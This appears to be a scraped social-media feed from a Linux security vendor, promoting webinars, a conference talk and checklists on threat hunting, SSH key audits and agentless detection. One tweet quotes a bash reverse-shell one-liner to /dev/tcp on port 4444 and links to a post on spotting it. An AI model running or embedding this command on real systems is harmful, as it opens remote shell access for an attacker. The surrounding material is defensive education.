Agentless Linux security. We post threat hunting, DFIR and hardening for people running Linux in production. No agents, no kernel modules.
Christchurch, New Zealand
Joined March 2017
- Tweets754
- Following55
- Followers3K
- Likes521
Fixed the same false positive three times this month? 😣
That's a failed check. It's question 4 on our list, and plenty of tools don't pass it.
Get the full checklist on Tue 27 Oct. Join us live ▶️ ap1.hubs.ly/H01qfMF0
Locked Shields is the world's largest live-fire cyber defence exercise. Real red team, real time pressure.
One of our clients ran Sandfly on the Linux defence team, hunting implants while under active attack.
ap1.hubs.ly/H01k9gz0
#ThreatHunting #Linux
Question 1 of 4: Where did your detection's data actually come from?
Most teams can't answer that, and it matters more than anything else on the list.
Find out why on Tue 27 Oct. Register to join us live ▶️ ap1.hubs.ly/H01qfB30
A Linux process running with an immutable binary is almost never legitimate.
Attackers set the immutable flag so you can't delete their payload mid-incident. It’s a huge red flag that a system is compromised.
ap1.hubs.ly/H01kJD10
#Linux #eBPF
A global automotive manufacturer runs its assembly lines and AGVs on Linux. Downtime costs thousands a minute.
Agent-based tools kept causing problems on exactly those systems. So they stopped using them.
ap1.hubs.ly/H01qdR-0
#ThreatHunting #Linux
Most Linux alerts aren't worth your time. A few are worth everything 👀
The hard part is telling which is which.
On Tue 27 Oct, Sandfly founder Craig Rowland shares 4 questions to ask before you act on any detection. Free.
ap1.hubs.ly/H01qdRl0
Attackers are encrypting payloads to sneak malware past Linux defenses. Spoiler: it doesn't work.Sandfly Founder, @CraigHRowland breaks down the Linux malware trends we're seeing on @DestLinuxPod 👇
In this episode we discuss some emerging Linux malware trends we're seeing in the wild leveraging fileless encrypted payloads.
A new #DestinationLinux!
😂💖🐧🐧🐧
youtu.be/LkWJ_yvhKwo
Cold Incident Response Conference,
OpenRGB Adds Support for New Hardware,
Peppermint OS Moving to XLibre,
Ubuntu 26.10 update,
MX Linux DDoS Attack
#Linux #podcast
Thank you @SandflySecurity!
sandflysecurity.com?utm_sour…...
bash -i >& /dev/tcp/1.2.3.4/4444 0>&1
One line. Works nearly everywhere on Linux. A quick and easy living off the land backdoor that works across all Linux distros.
Here's how to spot it — and how to watch attackers using it live with peekfd: ap1.hubs.ly/H01mt3h0
A pile of small scripts we use for Linux IR work. Free, open source, no email gate.
If they save you an hour, that's the point.
ap1.hubs.ly/H01mt430
Access problems on Linux hosts that passed an audit are extremely common.
Keys that outlived the people who created them. Password authentication that is still active on hosts nobody claimed. Both invisible to the review that signed the system off.
Keys to the Vault, free with the questions:
ap1.hubs.ly/H01mPsG0
Linux EDR inherited its model from Windows: kernel agent on every endpoint.
We've measured those agents at 5% to over 30% CPU, constantly. At fleet scale that's a line item.
Agentless: zero when idle, 60–120s burst when it runs.
ap1.hubs.ly/H01mt400
Linux runs the infrastructure. But who's watching it? 👀
Our founder @CraigHRowland is breaking down current Linux malware tactics and how to hunt them at the Oslo Cold Incident Response Conference. Grab your free ticket below 👇
I'm speaking at the Oslo Cold Incident Response Conference in a couple weeks. Tickets are free! Register below. My talk will be on Linux malware trends, tactics, and hunting tips. Stop by and say hello.
coldincidentresponse.no/
"Password authentication is disabled."
Everywhere? On the hosts built before that standard existed? On the one that got rebuilt at 2am during an incident? The embedded devices with factory defaults?
How do you know, rather than how do you assume?
That's question 6 of 10. The rest are here: insights.sandflysecurity.com…
The riskiest SSH keys are the ones that belong to nobody.
The CI runner. The backup job. A migration script from 2021 that someone set up in an afternoon and never turned off.
Each one is still valid. Each one is still trusted.
Question 3 of 10: how many of your keys belong to automation, and who owns each one now?
All ten questions, free: insights.sandflysecurity.com…
Question 1 of 10:
How many SSH authorized_keys files exist across your Linux estate, and when did anyone last read them?
We’ve found that teams stall here. Not because the question is hard, but because nobody owns the answer.
The other nine, plus a worksheet your team can work through host by host: insights.sandflysecurity.com…
"Do we have malware on that host?" is the wrong first question.
"Who can SSH into it?" is the right one and most teams can't answer it.
Contractors. Former employees. Key tools that were never cleaned up. Read more
ap1.hubs.ly/H01mt390
